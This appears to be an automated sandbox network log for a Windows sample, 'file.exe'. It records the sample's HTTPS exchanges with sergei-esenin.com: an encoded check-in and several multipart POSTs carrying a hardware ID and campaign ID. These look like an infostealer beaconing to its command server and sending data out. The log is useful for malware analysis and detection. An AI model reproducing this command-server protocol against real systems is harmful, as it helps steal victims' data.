2024-10-24 02:57:11 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-24 02:57:12 UTC	1016	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rjflfvlij1nkfvkak00rtdq5p5; expires=Sun, 16 Feb 2025 20:43:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7J81yCoHfEBqpg%2FR18QNXxqy2aKMdF3viB0ellviLDK6MMVpOacM1lyZMGD%2BBjZl1kkHm%2F9QfNJtiDwL7d8Uq9I1tn5VPSQxy6oIMPwo6qFq2mEOHo1UAus4LGhyuDjhySb25g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b2b218106c33-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1205&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1042&delivery_rate=2121611&cwnd=251&unsent_bytes=0&cid=e4304a84812c59c3&ts=563&x=0"
2024-10-24 02:57:12 UTC	353	IN	Data Raw: 34 64 38 0d 0a 2f 66 51 31 76 4a 32 71 6c 37 59 6f 5a 74 6f 63 68 44 30 50 61 30 65 64 67 67 71 71 4d 61 38 78 4c 4e 71 48 6d 52 52 61 55 5a 4b 47 31 6b 4f 65 70 35 36 37 6c 46 73 44 2b 43 62 77 54 33 6f 4f 61 37 2f 6a 62 6f 67 4c 79 56 42 41 71 65 4b 31 4e 69 77 38 73 4d 65 53 56 4e 44 75 7a 37 75 55 54 52 37 34 4a 74 39 47 4c 51 34 70 76 37 67 6f 7a 31 76 4e 55 45 43 34 35 76 4a 37 4b 6a 33 78 6c 5a 68 53 31 50 6a 4a 38 39 64 45 43 37 39 35 34 56 78 6c 42 53 37 77 36 6d 65 49 48 59 31 55 56 76 69 39 75 31 6b 2f 4a 66 4f 77 6c 55 62 58 76 39 65 37 7a 51 6f 44 74 44 36 2b 48 32 34 4f 4a 66 48 6b 62 73 46 5a 78 31 6c 49 75 65 50 7a 5a 44 4d 33 2b 70 57 57 55 64 58 79 77 4f 66 61 54 67 79 30 66 2b 74 63 4c 55 64 6c 2b 50 67 6f 6b 42 4f 65 59 55 32 70 39 4f Data Ascii: 4d8/fQ1vJ2ql7YoZtochD0Pa0edggqqMa8xLNqHmRRaUZKG1kOep567lFsD+CbwT3oOa7/jbogLyVBAqeK1Niw8sMeSVNDuz7uUTR74Jt9GLQ4pv7goz1vNUEC45vJ7Kj3xlZhS1PjJ89dEC7954VxlBS7w6meIHY1UVvi9u1k/JfOwlUbXv9e7zQoDtD6+H24OJfHkbsFZx1lIuePzZDM3+pWWUdXywOfaTgy0f+tcLUdl+PgokBOeYU2p9O
2024-10-24 02:57:12 UTC	894	IN	Data Raw: 78 66 58 47 51 67 2b 7a 65 2f 52 55 5a 41 51 6f 2f 2b 31 69 78 31 44 4e 56 45 53 79 36 76 46 79 4e 54 37 32 6e 35 59 58 6b 4c 2f 50 37 5a 51 53 52 4a 74 37 39 6c 68 68 48 32 66 46 6f 48 65 47 53 6f 31 55 51 76 69 39 75 33 34 39 4d 50 4f 55 6d 56 54 57 39 4e 72 31 78 6b 77 4a 76 57 7a 67 57 6d 4d 44 4a 75 33 71 5a 73 35 51 78 46 68 48 76 65 4c 2f 4e 6e 5a 7a 39 34 66 57 44 35 37 65 78 66 37 59 51 42 4f 34 50 76 6b 52 64 45 6b 69 38 36 41 77 69 46 66 4d 56 30 2b 38 36 2f 56 79 4e 44 58 2b 6b 70 6c 52 31 50 2f 50 2f 39 78 43 42 62 56 31 36 56 39 6f 42 43 48 35 37 47 6e 4e 45 34 4d 54 53 61 43 6c 6f 7a 59 57 4e 50 4f 4e 31 47 4c 64 38 63 62 79 77 67 6f 62 39 6d 65 6d 57 47 46 4a 66 62 2f 75 62 63 64 42 7a 45 46 4c 74 76 66 33 63 7a 34 2b 38 35 47 57 55 74 6e Data Ascii: xfXGQg+ze/RUZAQo/+1ix1DNVESy6vFyNT72n5YXkL/P7ZQSRJt79lhhH2fFoHeGSo1UQvi9u349MPOUmVTW9Nr1xkwJvWzgWmMDJu3qZs5QxFhHveL/NnZz94fWD57exf7YQBO4PvkRdEki86AwiFfMV0+86/VyNDX+kplR1P/P/9xCBbV16V9oBCH57GnNE4MTSaClozYWNPON1GLd8cbywgob9memWGFJfb/ubcdBzEFLtvf3cz4+85GWUtn
2024-10-24 02:57:12 UTC	1369	IN	Data Raw: 33 66 39 34 0d 0a 56 4e 72 37 78 66 72 64 51 77 32 71 64 4f 70 52 66 77 51 76 2b 75 35 6b 7a 56 7a 4e 55 6b 2b 32 37 2f 41 32 64 6e 50 33 68 39 59 50 6e 74 44 46 35 63 5a 41 44 36 6b 38 30 31 78 6a 42 79 4c 70 6f 48 65 47 53 6f 31 55 51 76 69 39 75 33 30 2b 50 2f 79 66 6b 45 58 51 38 4e 72 2f 78 6b 34 4b 76 48 4c 6f 56 6d 41 47 49 4f 33 6b 61 4e 70 53 79 46 52 41 74 66 66 2b 4e 6e 5a 7a 39 34 66 57 44 35 37 46 2f 50 4c 45 57 77 50 36 53 2b 56 52 59 77 34 7a 76 2f 38 6d 30 52 50 4b 58 77 37 67 70 66 68 36 4e 54 72 31 6b 49 52 64 30 76 37 61 38 74 31 44 44 72 6c 77 36 56 52 68 44 44 66 30 37 32 44 48 55 73 42 65 52 62 7a 6c 75 7a 68 34 4e 4f 6a 66 7a 68 66 2f 38 73 66 6e 31 31 74 47 6a 58 33 6f 55 57 6f 66 5a 65 43 75 63 59 68 55 77 52 4d 57 2b 4f 54 33 65 Data Ascii: 3f94VNr7xfrdQw2qdOpRfwQv+u5kzVzNUk+27/A2dnP3h9YPntDF5cZAD6k801xjByLpoHeGSo1UQvi9u30+P/yfkEXQ8Nr/xk4KvHLoVmAGIO3kaNpSyFRAtff+NnZz94fWD57F/PLEWwP6S+VRYw4zv/8m0RPKXw7gpfh6NTr1kIRd0v7a8t1DDrlw6VRhDDf072DHUsBeRbzluzh4NOjfzhf/8sfn11tGjX3oUWofZeCucYhUwRMW+OT3e
2024-10-24 02:57:12 UTC	1369	IN	Data Raw: 54 6e 56 44 56 39 4d 7a 78 31 45 63 50 74 6e 44 76 55 32 55 46 49 75 33 74 62 63 42 5a 78 46 5a 43 74 65 62 70 64 54 6c 7a 76 74 2b 52 54 35 36 6e 69 4e 4c 6e 66 53 66 34 59 61 68 47 4c 51 34 70 76 37 67 6f 79 56 76 4b 58 55 71 71 36 2b 6c 34 50 7a 50 32 6c 35 35 51 30 76 48 47 35 39 78 4c 42 4c 5a 78 37 6c 5a 70 43 43 48 37 37 47 2b 49 48 59 31 55 56 76 69 39 75 31 34 37 4b 65 72 64 75 46 7a 65 2b 4e 6a 6a 7a 77 6f 62 39 6d 65 6d 57 47 46 4a 66 62 2f 6b 59 38 4a 61 7a 6c 70 4b 74 65 58 79 65 54 45 37 2f 5a 65 45 56 74 54 74 7a 50 44 56 52 51 36 38 64 75 70 51 59 51 30 33 39 4b 41 6d 69 46 54 56 45 78 62 34 78 66 42 67 47 79 48 69 33 34 6b 5a 78 37 2f 50 2b 5a 51 53 52 4c 46 79 35 31 35 6e 44 79 37 36 37 57 6a 4e 57 63 70 66 54 72 6a 6d 2f 58 41 31 4f 2f Data Ascii: TnVDV9Mzx1EcPtnDvU2UFIu3tbcBZxFZCtebpdTlzvt+RT56niNLnfSf4YahGLQ4pv7goyVvKXUqq6+l4PzP2l55Q0vHG59xLBLZx7lZpCCH77G+IHY1UVvi9u147KerduFze+Njjzwob9memWGFJfb/kY8JazlpKteXyeTE7/ZeEVtTtzPDVRQ68dupQYQ039KAmiFTVExb4xfBgGyHi34kZx7/P+ZQSRLFy515nDy767WjNWcpfTrjm/XA1O/
2024-10-24 02:57:12 UTC	1369	IN	Data Raw: 33 76 44 4e 2f 64 39 4d 43 72 6c 34 36 6c 49 74 52 32 58 34 2b 43 69 51 45 2b 70 4a 51 37 37 79 36 6b 4d 2f 4d 36 48 66 69 52 6e 48 76 38 2f 35 6c 42 4a 45 74 58 4c 73 55 6d 67 4e 4c 66 6a 6a 61 63 52 58 77 46 35 4b 73 65 48 2b 5a 43 6f 31 2f 70 2b 5a 57 64 48 7a 32 76 76 52 53 67 6a 34 4d 4b 5a 59 64 55 6c 39 76 39 46 2f 79 42 50 53 48 56 66 34 34 76 63 32 59 48 50 2f 6b 6f 52 62 30 66 2f 4a 39 74 42 42 41 37 35 34 35 31 78 6f 43 69 44 35 34 57 6a 45 57 63 70 62 52 4c 62 6f 2f 58 49 2b 4e 62 44 52 31 6c 44 47 76 35 43 31 35 6b 63 4b 73 58 33 67 55 6e 73 68 46 4c 2f 2f 4a 74 45 54 79 6c 38 4f 34 4b 58 2f 66 54 41 2f 39 5a 65 54 56 74 62 31 77 50 72 62 57 41 57 33 64 2b 46 55 59 41 59 72 2b 75 35 36 7a 31 6a 47 57 30 65 32 34 37 73 34 65 44 54 6f 33 38 34 Data Ascii: 3vDN/d9MCrl46lItR2X4+CiQE+pJQ77y6kM/M6HfiRnHv8/5lBJEtXLsUmgNLfjjacRXwF5KseH+ZCo1/p+ZWdHz2vvRSgj4MKZYdUl9v9F/yBPSHVf44vc2YHP/koRb0f/J9tBBA75451xoCiD54WjEWcpbRLbo/XI+NbDR1lDGv5C15kcKsX3gUnshFL//JtETyl8O4KX/fTA/9ZeTVtb1wPrbWAW3d+FUYAYr+u56z1jGW0e247s4eDTo384
2024-10-24 02:57:12 UTC	1369	IN	Data Raw: 2f 33 54 51 67 43 32 62 4f 64 51 4c 55 64 6c 2b 50 67 6f 6b 42 50 38 52 55 6d 2f 36 72 6c 66 50 79 6a 78 6c 5a 56 63 30 72 2f 58 75 38 30 4b 41 37 51 2b 76 68 39 67 42 53 6a 37 38 6d 54 49 55 38 52 55 52 4b 72 71 39 48 73 37 4d 2f 57 4e 6c 30 58 52 39 4d 33 32 30 45 55 4c 74 48 62 73 48 79 4e 4a 49 75 65 67 4d 49 68 2f 7a 6b 4a 45 2b 73 4c 68 59 44 38 2f 34 5a 53 62 57 35 37 67 68 75 79 55 54 51 6a 34 4a 71 5a 66 62 41 51 33 2b 75 46 69 77 6c 37 46 58 45 75 39 36 76 39 79 4d 7a 33 69 6b 5a 6c 58 32 50 54 4a 38 4e 64 42 44 72 5a 33 39 42 38 6a 53 53 4c 6e 6f 44 43 49 65 64 5a 53 51 37 53 6e 31 58 30 75 4e 4c 4b 2b 6d 46 7a 5a 38 39 36 31 79 77 51 64 2b 48 6e 71 48 7a 56 4a 4c 50 48 73 61 38 39 62 78 56 5a 4f 73 2b 58 30 66 44 59 30 34 70 57 61 58 63 7a 77 Data Ascii: /3TQgC2bOdQLUdl+PgokBP8RUm/6rlfPyjxlZVc0r/Xu80KA7Q+vh9gBSj78mTIU8RURKrq9Hs7M/WNl0XR9M320EULtHbsHyNJIuegMIh/zkJE+sLhYD8/4ZSbW57ghuyUTQj4JqZfbAQ3+uFiwl7FXEu96v9yMz3ikZlX2PTJ8NdBDrZ39B8jSSLnoDCIedZSQ7Sn1X0uNLK+mFzZ8961ywQd+HnqHzVJLPHsa89bxVZOs+X0fDY04pWaXczw
2024-10-24 02:57:12 UTC	1369	IN	Data Raw: 6f 62 39 6d 65 6d 57 47 46 4a 66 62 2f 67 62 4d 52 51 79 6c 31 42 74 65 72 38 66 54 63 35 2f 6f 32 5a 55 74 62 7a 77 50 6a 47 51 41 36 71 64 2b 39 53 59 77 45 33 2f 4b 41 6d 69 46 54 56 45 78 62 34 31 2f 46 31 4e 43 58 39 6b 4e 5a 49 6b 4f 61 49 38 74 67 4b 58 50 68 73 39 46 39 6d 43 53 4c 78 38 6d 6e 41 58 4d 64 54 53 4c 50 76 2b 48 38 38 50 66 6d 5a 6c 31 72 66 2f 73 6a 77 31 45 4d 57 74 54 36 6f 48 32 6f 52 5a 61 65 67 58 38 52 59 2f 46 42 59 2b 50 71 31 62 33 67 30 2f 4e 2f 4f 46 39 2f 74 78 66 33 51 53 67 6d 2b 64 65 64 65 62 67 6b 6c 2f 4f 42 74 77 31 7a 4c 56 45 4f 79 37 50 4a 6b 4d 44 66 69 6e 35 70 54 6e 72 47 49 38 73 77 4b 58 50 68 4f 35 56 52 68 43 53 6a 71 6f 48 65 47 53 6f 31 55 51 76 69 39 75 33 34 7a 4f 50 61 55 6c 56 54 51 39 4d 4c 36 32 Data Ascii: ob9memWGFJfb/gbMRQyl1Bter8fTc5/o2ZUtbzwPjGQA6qd+9SYwE3/KAmiFTVExb41/F1NCX9kNZIkOaI8tgKXPhs9F9mCSLx8mnAXMdTSLPv+H88PfmZl1rf/sjw1EMWtT6oH2oRZaegX8RY/FBY+Pq1b3g0/N/OF9/txf3QSgm+dedebgkl/OBtw1zLVEOy7PJkMDfin5pTnrGI8swKXPhO5VRhCSjqoHeGSo1UQvi9u34zOPaUlVTQ9ML62
2024-10-24 02:57:12 UTC	1369	IN	Data Raw: 31 38 46 35 67 41 69 6d 39 34 57 58 59 56 49 30 64 44 72 36 6c 6f 79 5a 32 63 2f 53 4f 31 67 2b 4f 72 5a 4f 67 68 78 31 55 36 6d 47 6f 52 69 30 66 5a 61 65 79 4a 6f 68 42 6a 51 73 4f 2f 2b 62 70 5a 44 34 77 35 70 7a 52 61 65 44 66 77 2f 6e 58 52 67 57 2f 50 71 67 66 59 6b 6c 39 78 71 42 72 32 6b 47 43 51 6c 69 31 39 66 77 36 4d 43 4c 39 6b 39 59 5a 6e 72 50 4d 2f 74 68 50 41 36 67 78 39 45 39 6d 42 54 4f 7a 35 48 71 49 48 59 31 43 52 62 66 33 39 58 46 33 49 75 61 53 68 6c 54 62 2b 49 54 39 78 55 63 49 2b 44 43 6d 53 6d 59 46 49 2f 4c 31 4a 39 6c 46 7a 6b 56 4a 39 4f 33 71 65 7a 52 7a 7a 39 48 57 54 35 36 6e 69 4d 44 58 52 41 71 2f 61 50 63 53 54 51 49 70 2f 4f 78 70 7a 78 4f 44 45 30 6a 34 76 61 67 34 65 44 66 68 33 38 34 48 6a 4b 53 64 70 6f 4d 61 56 71 Data Ascii: 18F5gAim94WXYVI0dDr6loyZ2c/SO1g+OrZOghx1U6mGoRi0fZaeyJohBjQsO/+bpZD4w5pzRaeDfw/nXRgW/PqgfYkl9xqBr2kGCQli19fw6MCL9k9YZnrPM/thPA6gx9E9mBTOz5HqIHY1CRbf39XF3IuaShlTb+IT9xUcI+DCmSmYFI/L1J9lFzkVJ9O3qezRzz9HWT56niMDXRAq/aPcSTQIp/OxpzxODE0j4vag4eDfh384HjKSdpoMaVq
2024-10-24 02:57:12 UTC	1369	IN	Data Raw: 4c 52 39 6c 70 37 4d 6d 69 45 47 4e 43 77 37 2f 36 2f 5a 33 4f 7a 33 7a 6a 59 52 52 33 65 6e 4c 73 75 70 30 49 62 56 7a 34 31 46 71 4e 78 76 65 36 6e 6a 46 58 4d 70 74 63 49 2f 30 2f 47 5a 36 46 66 4f 4a 6c 52 65 51 76 39 43 31 6a 41 6f 6c 73 6d 37 72 55 47 70 4a 61 37 2f 6b 4b 4a 41 54 36 46 35 44 76 65 76 38 4e 42 6b 35 34 4a 4b 5a 55 4a 36 78 69 50 6d 55 45 6b 53 35 64 50 5a 53 59 67 35 70 2b 50 70 76 69 42 32 4e 58 51 37 67 70 66 70 38 4b 44 37 2f 6d 4e 70 52 30 50 47 49 36 70 70 54 52 4b 34 2b 76 67 77 6a 53 54 65 2f 75 43 69 50 58 63 42 53 54 62 62 6d 36 57 51 2b 4d 4f 61 63 30 57 6e 67 32 73 58 34 30 55 51 44 68 6b 44 48 56 58 30 45 4b 76 69 69 53 4d 39 46 7a 6d 31 77 6a 2f 54 38 5a 6e 6f 56 38 34 6d 56 46 35 43 2f 30 4c 57 4d 43 69 57 79 62 75 74 Data Ascii: LR9lp7MmiEGNCw7/6/Z3Oz3zjYRR3enLsup0IbVz41FqNxve6njFXMptcI/0/GZ6FfOJlReQv9C1jAolsm7rUGpJa7/kKJAT6F5Dvev8NBk54JKZUJ6xiPmUEkS5dPZSYg5p+PpviB2NXQ7gpfp8KD7/mNpR0PGI6ppTRK4+vgwjSTe/uCiPXcBSTbbm6WQ+MOac0Wng2sX40UQDhkDHVX0EKviiSM9Fzm1wj/T8ZnoV84mVF5C/0LWMCiWybut

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49719	104.21.53.8	443	1340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:57:13 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=vHBqvbn6KYCyXCWGaDfw52DjmFGGt1u5HaNTDkhRjms-1729738631-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: sergei-esenin.com
2024-10-24 02:57:13 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 31 31 33 43 37 30 35 44 39 42 35 41 37 42 42 45 35 36 33 35 33 41 34 33 34 41 44 32 42 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"02113C705D9B5A7BBE56353A434AD2B5--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:57:13 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d4ctk52a2gmdld323gj57fv69j; expires=Sun, 16 Feb 2025 20:43:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qRCiTOB5WFoxa%2F58n6NFYUpOM9aRmUI5PqirXii6J7yXB8IMdcV9tJxmYkpkF9iRNS4T28xxm1%2F2DjghNQxXe%2BKeEKhFtJnpsKlszGemYM6wVpvODtNZ8obnNo7XAt%2F2ENctHw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b2baf805c86f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1395&sent=8&recv=16&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13894&delivery_rate=1904010&cwnd=252&unsent_bytes=0&cid=4215d1bc3938278c&ts=402&x=0"
2024-10-24 02:57:13 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:57:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49727	104.21.53.8	443	1340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:57:14 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=vHBqvbn6KYCyXCWGaDfw52DjmFGGt1u5HaNTDkhRjms-1729738631-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: sergei-esenin.com
2024-10-24 02:57:14 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 31 31 33 43 37 30 35 44 39 42 35 41 37 42 42 45 35 36 33 35 33 41 34 33 34 41 44 32 42 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"02113C705D9B5A7BBE56353A434AD2B5--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:57:14 UTC	1013	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5j2h532m07rhrn2g72npnrof6t; expires=Sun, 16 Feb 2025 20:43:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IhAiQEZaroovqckTudK6yDX545LYjDFOBY1YdiSxfn9XAPrdupwoGXSJN7It3HlcBvhyzB1W9IyPbCJ5BjLWeIvO%2BnCq4gopbHK6RdpsjvmrDWkn1vqYvvwpbZehp5YCJQ22Vw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b2c21aeb6b88-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=946&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16140&delivery_rate=2913480&cwnd=251&unsent_bytes=0&cid=65e23af8288bbedd&ts=423&x=0"
2024-10-24 02:57:14 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:57:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49733	104.21.53.8	443	1340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:57:15 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=vHBqvbn6KYCyXCWGaDfw52DjmFGGt1u5HaNTDkhRjms-1729738631-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: sergei-esenin.com
2024-10-24 02:57:15 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 31 31 33 43 37 30 35 44 39 42 35 41 37 42 42 45 35 36 33 35 33 41 34 33 34 41 44 32 42 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"02113C705D9B5A7BBE56353A434AD2B5--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:57:15 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-24 02:57:16 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2b8i3rujrcjar0vs0dbrq4629t; expires=Sun, 16 Feb 2025 20:43:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q%2F%2BvIHfyjJQPPavYH0Sf8hhGL15l0TCRAXxF6Ps0sTHev8ROQHhtEPTyRmBipZ1mjnZRDZV3O0hJUa1Z225%2BJJUpRAF6EmQQAZOvlOxEJVCRbHavZFEFRGve8Vv%2BNo6ShpiIEA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b2ca1b87477e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1104&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21020&delivery_rate=2556045&cwnd=250&unsent_bytes=0&cid=7f8dd4413fa96cbc&ts=534&x=0"
2024-10-24 02:57:16 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:57:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
